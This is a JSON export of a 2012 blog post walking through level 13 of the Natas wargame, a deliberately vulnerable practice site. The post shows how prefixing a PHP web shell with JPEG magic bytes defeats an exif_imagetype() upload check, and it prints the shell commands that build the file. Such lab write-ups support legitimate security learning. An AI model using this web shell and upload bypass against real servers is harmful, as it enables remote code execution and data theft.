{"id":350,"date":"2012-11-01T23:04:18","date_gmt":"2012-11-02T06:04:18","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=350"},"modified":"2012-11-20T16:24:26","modified_gmt":"2012-11-21T00:24:26","slug":"natas-level-13-image-file-restricted-upload","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=350","title":{"rendered":"Natas Level 13 &#8211; Image File Restricted Upload"},"content":{"rendered":"<p>In this post we&#8217;re going to be looking at Level 13 of the Natas wargame hosted by Over The Wire.<\/p>\n<h2>What&#8217;s Going On?<\/h2>\n<p>Upon logging in, we see nearly the same setup as in level 12, except for the statement that uploading is restricted to image files only. \u00a0To determine how, let&#8217;s take a look at the source code. \u00a0Viewing the source code, we can see that it is nearly all identical, except for two lines. \u00a0There is now a new added check on the file being uploaded. \u00a0This check uses the exif_imagetype() function to determine if the file being uploaded is an image file or not. \u00a0If it isn&#8217;t, an error is printed to the screen and the file isn&#8217;t uploaded. \u00a0Of course, if it is determined to be an image file, the file is uploaded and a link to it is printed to the screen. \u00a0So, since this level checks the file&#8217;s type, what can we do with it?<\/p>\n<h2>Exploit<\/h2>\n<p>Lets RTFM for <a href=\"http:\/\/php.net\/manual\/en\/function.exif-imagetype.php\" target=\"_blank\">exif_imagetype()<\/a>. \u00a0Doing so we can see that it says it &#8220;reads the first bytes of an image and checks its signature.&#8221; \u00a0Ok, neat. \u00a0But what can we do with that? \u00a0Well, if we take the time (seconds) to Google something like &#8220;first bytes of jpg&#8221; and click on the 3rd link, we might just find a <a title=\"Identifying Files From Their first 4 Bytes Or Magic Numbers\" href=\"http:\/\/www.mindfiresolutions.com\/Identifying-Files-From-Their-first-4-Bytes-Or-Magic-Numbers-72.php\" target=\"_blank\">site<\/a>\u00a0that tells us that &#8220;a\u00a0\u00a0JPEG<strong>\u00a0<\/strong>image file is always found to hold the value\u00a0FF D8 FF E0\u00a0(Hex) in the first four bytes.&#8221; \u00a0Great. \u00a0So now we need to construct a file with those four specific hex bytes as the first four bytes of the file, and end it with our PHP snippet from last level.<\/p>\n<p>So, to input the hex data, let&#8217;s jump to our Linux command line. \u00a0To input hex and php into a file, let&#8217;s use the following commands:<\/p>\n<blockquote><p>[somebox]$ echo &#8216;FFD8FFE0&#8217; | xxd -r -p &gt;&gt; natas13attackfile.php<br \/>\n[somebox]$ echo &#8220;&lt;? passthru(\\$_GET[&#8216;h&#8217;]); ?&gt;&#8221; &gt;&gt; natas13attackfile.php<\/p><\/blockquote>\n<p>We should now have our correctly crafted &#8220;image&#8221; file. \u00a0Now, we simply have to follow what we did in the last level to upload it. \u00a0Download the current level&#8217;s HTML, alter the action URL in the form declaration and change the filename field&#8217;s value to a .php extension. \u00a0Now, use your browser to log into the natas13 website, then use your local page to submit the upload file. \u00a0After upload, follow the link and perform the same command as last time, except this time let&#8217;s check out the natas14 file! \u00a0Upon execution, this tactic works, and the Level 14 password is revealed.<\/p>\n<h2>So What?<\/h2>\n<p>In an attempt to limit file type uploads to images, this level uses exif_imagetype(). \u00a0However, this function only looks for certain bytes of the file. \u00a0Additionally, PHP only evaluates certain parts of files, specifically that between &lt;? and ?&gt;. \u00a0Because of this, we were still able to get a file that has the first bytes of an image, and later has valid PHP within PHP tags. \u00a0Also, this level didn&#8217;t fix the problem of being able to upload a file with a PHP extension, causing it to run through the PHP interpreter. \u00a0These things together result in the vulnerability we were able to exploit and thus show, this isn&#8217;t the safe way to accept user files.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post we&#8217;re going to be looking at Level 13 of the Natas wargame hosted by Over The Wire. What&#8217;s Going On? Upon logging in, we see nearly the same setup as in level 12, except for the statement &hellip; <a href=\"https:\/\/seanmurphree.com\/blog\/?p=350\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[36,35,4],"tags":[43,42,13,38],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/350"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=350"}],"version-history":[{"count":4,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/350\/revisions"}],"predecessor-version":[{"id":376,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/350\/revisions\/376"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=350"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=350"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=350"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}